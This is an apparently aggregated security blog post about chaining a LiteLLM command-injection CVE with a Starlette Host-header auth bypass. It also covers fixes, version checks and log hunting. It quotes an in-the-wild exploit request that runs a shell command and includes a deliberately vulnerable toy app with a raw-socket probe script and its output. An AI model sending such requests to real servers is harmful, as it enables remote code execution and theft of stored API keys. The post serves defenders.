One Bad Host Header Gives Unauthenticated RCE on Old LiteLLM. Check Yours
Over the weekend of November 14–15, honeypots run by the SANS Internet Storm Center started receiving requests like this one: POST /mcp-rest/test/tools/list HTTP/1.1 Host: localhost] Authorization: Bearer nothing Cont
Over the weekend of November 14–15, honeypots run by the SANS Internet Storm Center started receiving requests like this one:
POST /mcp-rest/test/tools/list HTTP/1.1
Host: localhost]
Authorization: Bearer nothing
Content-Type: application/json
{"server": {"transport": "stdio", "command": "id", "args": [], "env": {}}}
Look at the Host header and the body. The header has a stray square bracket. The body asks the server to run a shell command. On an unpatched LiteLLM proxy, that's enough for unauthenticated remote code execution. Johannes Ullrich wrote it up in the SANS ISC diary for November 16.
These bugs aren't new. Both CVEs came out in the spring and patches have been available for months. But scanners are now sending Host header variants that the early filters didn't catch. If you run a self-hosted LLM gateway, or any Python API built on Starlette or FastAPI, it's worth spending 20 minutes on this today. Below I reproduce the bug class on Starlette 1.0.0, show the two fixes that worked, and list the checks I'd run on any team's servers.
What's actually being chained
Two separate bugs, in two different projects.
CVE-2026-42271 (LiteLLM). The LiteLLM proxy has MCP test endpoints, POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list. They accept a full MCP server config, including command, args, and env for the stdio transport, and then spawn that command as a subprocess on the proxy host. When it was disclosed in April 2026 it was treated as authenticated-only, because you needed a valid proxy API key to call those endpoints. Affected versions: 1.74.2 through 1.83.6. Fixed in 1.83.7 (May 2026).
CVE-2026-48710 ("BadHost", Starlette). Starlette versions before 1.0.1 don't validate the Host header. Starlette uses that header to rebuild the full request URL, and code that makes access-control decisions from the rebuilt URL can be tricked. Characters like /, ?, #, [ and ] in the Host header change how the URL gets parsed.
Horizon3 showed in June that the second bug bypasses the first bug's authentication. That turns "authenticated command injection" into unauthenticated RCE, rated CVSS 10.0, running as whatever user the LiteLLM process runs as. On an LLM gateway that usually means it can reach every provider key the proxy holds.
Reproducing the bug class in 30 lines
I didn't want to point an exploit at a real LiteLLM install, and you don't need to in order to understand the problem. The core mistake fits in a tiny Starlette app: the auth middleware checks one path, and the router dispatches a different one.
# app.py: toy app, NOT LiteLLM. Same shape of mistake.
from starlette.applications import Starlette
from starlette.middleware import Middleware
from starlette.middleware.base import BaseHTTPMiddleware
from starlette.responses import JSONResponse, PlainTextResponse
from starlette.routing import Route
PUBLIC_PATHS = {"/health"}
class ApiKeyMiddleware(BaseHTTPMiddleware):
async def dispatch(self, request, call_next):
if request.url.path in PUBLIC_PATHS: # <-- URL rebuilt from the Host header
return await call_next(request)
if request.headers.get("authorization") != "Bearer real-key":
return JSONResponse({"error": "unauthorized"}, status_code=401)
return await call_next(request)
async def health(request):
return PlainTextResponse("ok")
async def admin(request):
return JSONResponse({"secret": "you should not see this",
"url_path": request.url.path,
"scope_path": request.scope["path"]})
app = Starlette(routes=[Route("/health", health),
Route("/admin/run", admin, methods=["GET", "POST"])],
middleware=[Middleware(ApiKeyMiddleware)])
I served it with uvicorn 0.54.0 and used a raw socket to send requests, since most HTTP clients won't let you send a broken Host header:
# probe.py
import socket, sys
port = int(sys.argv[1])
def raw(host, path="/admin/run"):
s = socket.create_connection(("127.0.0.1", port))
s.sendall(f"GET {path} HTTP/1.1\r\nHost: {host}\r\nConnection: close\r\n\r\n".encode())
data = b""
while chunk := s.recv(4096):
data += chunk
s.close()
head, _, body = data.decode(errors="replace").partition("\r\n\r\n")
return head.splitlines()[0], body[:160]
for h in ["localhost", "localhost/health?", "localhost/health#", "localhost]", "[localhost"]:
print(f"{h!r:24}", *raw(h))
Output with Starlette 1.0.0 (vulnerable):
'localhost' HTTP/1.1 401 Unauthorized {"error":"unauthorized"}
'localhost/health?' HTTP/1.1 200 OK {"secret":"you should not see this","url_path":"/health","scope_path":"/admin/run"}
'localhost/health#' HTTP/1.1 200 OK {"secret":"you should not see this","url_path":"/health","scope_path":"/admin/run"}
'localhost]' HTTP/1.1 500 Internal Server Error
'[localhost' HTTP/1.1 500 Internal Server Error
The second line is the whole bug. Starlette joined http:// + localhost/health? + /admin/run into http://localhost/health?/admin/run. A URL parser reads that as path /health with query /admin/run. The middleware saw a public path and let the request through. The router used scope["path"], which is still /admin/run, and served the protected endpoint.
The bracket variants that SANS saw in the wild only produced a 500 in my toy app: Python's urlsplit raised ValueError: Invalid IPv6 URL. That doesn't make them harmless. What they do depends on how the target code handles that error and which parser it uses. And per SANS, attackers are trying these variants to slip past filters written for the original /, ?, # proof of concept.
The same script against Starlette 1.10.0 (current at the time of writing):
'localhost' HTTP/1.1 401 Unauthorized {"error":"unauthorized"}
'localhost/health?' HTTP/1.1 401 Unauthorized {"error":"unauthorized"}
'localhost/health#' HTTP/1.1 401 Unauthorized {"error":"unauthorized"}
'localhost]' HTTP/1.1 401 Unauthorized {"error":"unauthorized"}
'[localhost' HTTP/1.1 401 Unauthorized {"error":"unauthorized"}
Upgrading fixes it with no code changes.
The two code fixes that worked even on 1.0.0
Sometimes you can't upgrade right away: a pinned transitive dependency, a vendor image, a frozen release branch. I kept Starlette at 1.0.0 and tried two fixes. Each one blocked every probe on its own.
Fix 1: authorize on the path the router actually dispatches.
class ApiKeyMiddleware(BaseHTTPMiddleware):
async def dispatch(self, request, call_next):
if request.scope["path"] in PUBLIC_PATHS: # not request.url.path
return await call_next(request)
...
With only this change, all five probes returned 401. The lesson goes beyond Starlette: your security check and your router have to read the same value. If one parses a reconstructed URL and the other reads the raw path, an attacker gets to work in the gap between them.
Fix 2: reject Host values you don't serve, before anything else runs.
from starlette.middleware.trustedhost import TrustedHostMiddleware
app = Starlette(
routes=[...],
middleware=[
Middleware(TrustedHostMiddleware, allowed_hosts=["api.example.com", "localhost"]),
Middleware(ApiKeyMiddleware),
],
)
With only this added (request.url.path left in place), the plain request still got 401, and all four malformed hosts got 400 Invalid host header. Order matters. TrustedHostMiddleware has to come first in the list so it wraps everything else.
I'd ship both. The SANS write-up makes the same point: allow-list the hostnames you expect instead of trying to block bad characters.
Why Django apps didn't have this problem
Most of our backends are Django, so I ran the same Host values through Django 5.2's request.get_host() with ALLOWED_HOSTS = ["api.example.com", "localhost"]:
'localhost' -> localhost
'localhost/health?' -> DisallowedHost: Invalid HTTP_HOST header: 'localhost/health?'...
'localhost]' -> DisallowedHost: Invalid HTTP_HOST header: 'localhost]'...
'[localhost' -> DisallowedHost: Invalid HTTP_HOST header: '[localhost'...
Django has validated Host against ALLOWED_HOSTS for years. The check runs as soon as anything asks for the host, and with DEBUG = False a Host that fails it gets a 400. That's a good default, but you can still undo it. ALLOWED_HOSTS = ["*"] "just to get the deploy working" is exactly the setting that turns this protection off. If your settings have a wildcard, take it out today.
Many Python teams run both: Django for the main app, plus FastAPI or a LiteLLM proxy next to it for AI features. The sidecar is often the weaker of the two, because it got set up quickly in a separate container and nobody reviewed it as closely as the main app.
The 20-minute check I'd run on every server
1. Find the real versions where the code actually runs. Check inside the container or virtualenv that serves traffic, not your laptop's lockfile:
# check_versions.py
from importlib.metadata import version, PackageNotFoundError
def v(pkg):
try:
return tuple(int(p) for p in version(pkg).split(".")[:3] if p.isdigit())
except PackageNotFoundError:
return None
checks = {
"starlette": ((1, 0, 1), "CVE-2026-48710 BadHost: Host header not validated"),
"litellm": ((1, 83, 7), "CVE-2026-42271: command injection in /mcp-rest/test/*"),
}
for pkg, (fixed, why) in checks.items():
found = v(pkg)
if found is None:
print(f"{pkg:10} not installed")
elif found < fixed:
print(f"{pkg:10} {'.'.join(map(str, found)):10} VULNERABLE (< {'.'.join(map(str, fixed))}) {why}")
else:
print(f"{pkg:10} {'.'.join(map(str, found)):10} ok")
starlette 1.0.0 VULNERABLE (< 1.0.1) CVE-2026-48710 BadHost: Host header not validated
litellm not installed
Run it with docker exec <container> python check_versions.py, or bake it into CI. FastAPI pulls in Starlette, so any FastAPI service counts.
2. Upgrade LiteLLM to 1.83.7 or later and Starlette to 1.0.1 or later, then restart. A new wheel on disk does nothing until the process restarts. Run the version check again afterwards.
3. If you can't patch today, block the test endpoints at the proxy. In nginx:
location ^~ /mcp-rest/test/ {
return 403;
}
Also make sure your reverse proxy only accepts the hostnames you serve. A catch-all default_server block that returns 444 (nginx closes the connection without a response) stops odd Host values before they reach Python. I didn't run these nginx snippets for this post. They're standard config, but test them in staging first.
4. Look for signs that someone already got in. Exploitation was reported as early as July, so patching now doesn't tell you whether you were hit:
# Any hits on the test endpoints, ever?
zgrep -h '/mcp-rest/test/' /var/log/nginx/access.log* | awk '{print $1, $4, $7, $9}' | sort | uniq -c
# Host headers that aren't yours (assumes $host is in your log_format)
zgrep -hv -E '"(api\.example\.com|localhost)"' /var/log/nginx/access.log* | head
On the host itself, unexpected child processes of the LiteLLM process are the strongest sign. That's the behavioral indicator Horizon3 lists.
5. If it was exposed and unpatched, rotate every key the proxy holds. An LLM gateway's whole job is to store provider API keys. Assume they're gone. Rotate them, then check your providers' usage dashboards for spend you can't explain.
6. Ask whether the gateway needs to be reachable at all. In most of the setups I've seen, the only client of the LiteLLM proxy is your own backend. It belongs on a private network or behind your VPN. The SANS diary puts it bluntly: reducing attack surface is "probably the most important thing you can do right now."
The pattern to remember
The interesting part isn't "a project had a CVE." Every project does. What matters is three habits that turned an internal test feature into a CVSS 10:
- A debug or test endpoint that runs commands shipped in production. If an endpoint's job is "spawn whatever process the request says," it shouldn't be reachable in prod at all, with or without auth.
-
Auth decisions made on a value the router doesn't use. Check
scope["path"], or better, attach auth to routes as dependencies, not path-string middleware. -
Trusting
Host. It comes from the client. Validate it before you build anything from it.
Patching closes this particular chain. The three habits above are what stop the next one.
Do your AI sidecars (LiteLLM, FastAPI services, internal MCP servers) get the same security review and patch schedule as your main app, or do they live in a container nobody has looked at since launch?
Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.